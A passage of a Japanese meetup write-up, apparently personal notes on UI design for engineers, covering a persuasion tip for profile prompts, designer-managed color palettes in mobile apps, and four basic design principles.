    - ビジョン思考（おかず）
- 心理学の応用
    - 小さなお願いをする場合、理由を述べるだけで承諾率が高まる
    - 自己紹介を入力しよう！ー＞ **いいねをたくさんもらうために** 自己紹介を入力しよう！

# カラーパレットの管理はデザイナーで行うという手段
- iOS / Android ともに、アプリ内で使用する色を一箇所にまとめていることが多い
- これをデザイナーが修正・追加することによって保守する
- デメリットとしては、各種ツールに対する学習コストが追加で発生する場合があることが挙げられる
    - GitHub（and git）
    - IDE
    - Shell


# エンジニア目線での実践必須項目
- 普段から多くのサービスやデザインを見て知見を貯める
- いいなと思うサービスのUIをトレース
- 参考にしたUIの理由を言語化
- デザイナーを助けられるエンジニアになろう！
- 4つのデザイン原則を守るべし
    - Proximity 近接
    - Alignment 整列
    - Repetition 反復
    - Contrast 対比

# 最後に
ここにまとめたことは、個人的な感想などを含みます。
正確な情報を必要とするときは、様々な情報源と照らし合わせて判断していただくようにお願いします。
最後まで読んでいただき、ありがとうございます。

次回の Matching Dev Meetup でお会いしましょう！